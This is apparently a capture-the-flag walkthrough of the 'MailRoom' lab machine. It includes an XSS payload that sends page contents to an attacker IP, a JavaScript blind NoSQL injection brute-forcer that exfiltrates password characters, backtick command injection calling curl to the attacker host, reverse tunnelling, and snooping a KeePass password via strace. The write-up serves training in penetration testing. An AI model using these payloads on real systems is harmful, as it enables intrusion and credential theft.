$ nmap -p- --min-rate 3000 10.129.58.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 02:08 EDT
Nmap scan report for 10.129.58.204
Host is up (0.17s latency).
Not shown: 65512 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Another HTTP port exploit. We can add mailroom.htb to our /etc/hosts file for this.
MailRoom
Visiting port 80 reveals a basic corporate website:
Viewing the paces reveals that this is a PHP based website. Within the functions available on the page, we can find a Contact Us page that tells us an AI will read our query.
Interesting, perhaps we can send a request that is processed or something. However, there's not much we can go on.
The webpage itself doesn't have much, so I opted to do a ffuf scan on the subdomains and directories present. When fuzzing subdomains, I found git.mailroom.htb.
Let's add this to our hosts file and enumerate further.
Gitea Source Code
There was a Gitea instance on the new subdomain. I didn't manage to find any exploits pertaining to this version. Within the repos present, we can see a staffroom repo by the user matthew.
Interestingly, we could view this repo without logging in. Within the auth.php files, we can find a new subdomain.
if(($user['2fa_token'] && ($now - $user['token_creation']) >60) ||!$user['2fa_token']) { $collection->updateOne( ['_id'=> $user['_id']], ['$set'=> ['2fa_token'=> $token,'token_creation'=> $now]]);// Send an email to the user with the 2FA token $to = $user['email']; $subject ='2FA Token'; $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message); }
We can add this to our hosts file, but we are not authorized to visit it for some reason. Since we have source code for this website given, we can attempt to do CSRF to steal pages, and I think that the Contact Us page might be vulnerable to XSS.
When looking at the inspect.php file on Gitea, there's this code snippet that looks vulnerable to RCE:
if (isset($_POST['inquiry_id'])) { $inquiryId =preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/','', $_POST['inquiry_id']); $contents =shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");// Parse the data between and </p> $start =strpos($contents,'<p class="lead mb-0">');if ($start ===false) {// Data not found $data ='Inquiry contents parsing failed'; } else { $end =strpos($contents,'</p>', $start); $data =htmlspecialchars(substr($contents, $start +21, $end - $start -21)); }}
This uses shell_exec with an argument that is not sanitised. This is the RCE point! There's a weak check for the RCE, as it does not block `. So we have to somehow send requests to this page after logging in, as this check is present on all pages:
session_start(); // Start a session// Check if authorizedif (!isset($_SESSION['logged_in'])|| $_SESSION['logged_in'] !==true) {header('Location: index.php'); // The user is NOT logged in, redirect back to the login pageexit;}
By checking auth.php, we can see that this uses Mongo to authenticate users:
$client =newMongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB databaseheader('Content-Type: application/json');if (!$client) {header('HTTP/1.1 503 Service Unavailable');echojson_encode(['success'=>false,'message'=>'Failed to connect to the database']);exit;}
Doing some source code reading reveals that there is a 2FA token created, and we need this token to login by accessing /auth.php?token=. The script takes an email and password parameter from a POST request, and passes the unsanitised input directly to a query:
if (!is_string($_POST['email'])||!is_string($_POST['password'])) {header('HTTP/1.1 401 Unauthorized');echojson_encode(['success'=>false,'message'=>'Invalid input detected']); }// Check if the email and password are correct $user = $collection->findOne(['email'=> $_POST['email'],'password'=> $_POST['password']]);
So the exploit path is to somehow use NoSQL to retrieve the token, and then login. However, this seems to send the 2FA token to the user's email, so stealing it won't work. It seems that we need to somehow steal credentials from this.
Viewing the Gitea users, we can find two:
We might need to use these somehow. Also, the script seems to be vulnerable to blind NoSQL injection based on the error messages it sends. Based on the auth.php script, if get a true condition, we would get the Check inbox for 2FA token message. If not, we would get the Invalid email or password error.
XSS + CSRF
When we submit any queries, this is the response that we get:
If we enter a simple <script> tag and view the page, we can confirm that we have XSS.
This tells me that Javascript is being executed on the page, and we can attempt to steal page contents via CSRF.
I tried using some Javascript to load the index.php page from the staffroom repo to exploit it.
We just have to URL encode this entire thing and submit it as part of a POST request.
POST /contact.php HTTP/1.1Host:mailroom.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:610Origin:http://mailroom.htbConnection:closeReferer:http://mailroom.htb/contact.phpUpgrade-Insecure-Requests:1email=user%40user.com&title=%3Cscript%3Evar%20url%20%3D%20%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Findex.php%22%3B%0Avar%20attacker%20%3D%20%22http%3A%2F%2F10.10.16.31%2Fout%22%3B%0Avar%20xhr%20%20%3D%20new%20XMLHttpRequest%28%29%3B%0Axhr.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20%20if%20%28xhr.readyState%20%3D%3D%20XMLHttpRequest.DONE%29%20%7B%0A%20%20%20%20%20%20%20%20fetch%28attacker%20%2B%20%22%3F%22%20%2B%20encodeURI%28btoa%28xhr.responseText%29%29%29%0A%20%20%20%20%7D%0A%7D%0Axhr.open%28%27GET%27%2C%20url%2C%20true%29%3B%0Axhr.send%28null%29%3B%3C%2Fscript%3E&message=test
Then, we would receive a callback with the page contents:
We have successfully stole the page, and now we can exploit this by stealing the token via NoSQL injection as found earlier. Based on this, we can attempt to send requests to auth.php and possibly brute force the password for a user.
Since we can use XSS, we can make the webpage process Javascript that is hosted on our HTTP server. First, I created a quick script to send the XSS payload and retrieve the inquiries URL that we need to visit to trigger the payload.
Then, we need to craft a special JS script that would allow us to brute force the password, and exfiltrate it onto our web server. This can be done using regex Blind NoSQL injection.
While there is probably a way to automate this to retrieve the full password with one run, I was unable to make that work for whatever reason and could only brute force 1 character each time. Here's the Javascript code I used to brute force it:
var char_set ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_@!?";var valid_pass ="";var found_char =false;for (let k =0; k <char_set.length&&!found_char; k++) {var xhr =newXMLHttpRequest();xhr.onload = handleResponse;xhr.open("POST","http://staff-review-panel.mailroom.htb/auth.php",true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded;charset=UTF-8');xhr.send(encodeURI('email=tristan@mailroom.htb&password[$regex]=^'+ valid_pass + char_set[k] +'.*'));functionhandleResponse() {var response =xhr.responseText;if (response.includes("2FA")) {var call =newXMLHttpRequest();call.open('get','http://10.10.16.31/?pass='+ char_set[k],true);call.send(); } elseif (response.includes("Invalid password")) { found_char =true; } };}// again, i had help from ruycraft for this script!
With this, I was able to retrieve the password character by character:
After repeating this a load of times and resetting the machine even more times, I was able to retrieve 69trisRulez! as the full password. This password happens to be the password to SSH in as tristan as well.
Port Fowarding -> RCE
Now that we have access to the machine, we can do some port forwarding to make the website available for us. I used chisel:
# on tristan's ./chiselclient10.10.16.31:1080R:80:127.0.0.1:80# on kalichiselserver-p1080--reverse
Then, we can add staff-review-panel.mailroom.htb to our /etc/hosts file as 127.0.0.1. Afterwards, we can visit the website!
We already found a password, so we can login. This would cause the application to send a mail to tristan, which we can read in /var/mail/tristan.
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=6daeea709d39154b9a49f900ffafcaf2
From noreply@mailroom.htb Tue Apr 18 04:05:54 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id 9D922D95
for <tristan@mailroom.htb>; Tue, 18 Apr 2023 04:05:54 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=fe298deab0eb116d330d4c126cfc9414
Visiting the link would refer us to the dashboard.php:
Great! We have logged in. Earlier, we found an RCE in the inquiry_id parameter, so let's exploit that.
POST /inspect.php HTTP/1.1Host:staff-review-panel.mailroom.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:43Origin:http://staff-review-panel.mailroom.htbConnection:closeReferer:http://staff-review-panel.mailroom.htb/inspect.phpCookie:PHPSESSID=258a0de5b6d723eaa26caa846646bb36Upgrade-Insecure-Requests:1inquiry_id=`curl+10.10.16.31:1234/rcecfmed`
$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.129.61.100 - - [18/Apr/2023 00:08:29] code 404, message File not found
10.129.61.100 - - [18/Apr/2023 00:08:29] "GET /rcecfmed HTTP/1.1" 404 -
Great! Now we can simply download a shell and execute it.
Now we are in a docker container.
Git Credentials
Within the /var/www/staffroom directory, we can find a .git repository:
www-data@5adcedc19d48:/var/www/staffroom$ ls -la
total 68
drwxr-xr-x 7 root root 4096 Jan 19 10:54 .
drwxr-xr-x 5 root root 4096 Jan 15 17:58 ..
drwxr-xr-x 8 root root 4096 Jan 19 10:56 .git
-rw-r--r-- 1 root root 0 Jan 15 17:59 README.md
-rwxr-xr-x 1 root root 3453 Jan 19 10:54 auth.php
-rwxr-xr-x 1 root root 62 Jan 15 17:59 composer.json
-rwxr-xr-x 1 root root 8096 Jan 15 17:59 composer.lock
drwxr-xr-x 2 root root 4096 Jan 15 17:59 css
-rwxr-xr-x 1 root root 5848 Jan 19 10:52 dashboard.php
drwxr-xr-x 3 root root 4096 Jan 15 17:59 font
-rwxr-xr-x 1 root root 2594 Jan 15 17:59 index.php
-rwxr-xr-x 1 root root 6326 Jan 18 13:26 inspect.php
drwxr-xr-x 2 root root 4096 Jan 15 17:59 js
-rwxr-xr-x 1 root root 953 Jan 15 17:59 register.html
drwxr-xr-x 6 root root 4096 Jan 15 17:59 vendor
We could read the logs, but since Gitea is present, there probably isn't anything that I haven't already found. Instead, we can look at git config to see if there are passwords:
Interestingly, there are a lot of kpcli processes running, which are not normal. We can also use ps -aux to see this:
matthew@mailroom:~$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
matthew 81318 0.0 0.1 8388 5332 pts/1 S 04:19 0:00 bash
matthew 81792 0.0 0.1 8264 4852 pts/2 S+ 04:22 0:00 bash
matthew 82057 0.7 0.2 19184 9704 ? Ss 04:24 0:00 /lib/systemd/systemd --user
matthew 82063 1.3 0.6 29436 24428 ? Ss 04:24 0:00 /usr/bin/perl /usr/bin/kpcli
Within the user's home directory, there are also some kdbx files present:
matthew@mailroom:~$ ls
personal.kdbx personal.kdbx.lock user.txt pspy64
Perhaps what's more interesting is that the PID keeps increasing, indicating that new processes keep spawning in. I used ltrace and strace to see what these processes were doing, and I found something rather interesting. When I first did it I huge list of responses, but there were a bunch of read instructions. As such, -e read was used to filter these out.
There was this \10 character present, and I didn't really know what it was. When we view the ASCII table, \10 is revealed to be a backspace character, meaning there's an intentional typo in the password. We can then use the password retrieved to access the .kdbx file we found.
Within this file was the root password.
kpcli:/Root> show -f 4
Title: root acc
Uname: root
Pass: <REMOVED>
URL:
Notes: root account for sysadmin jobs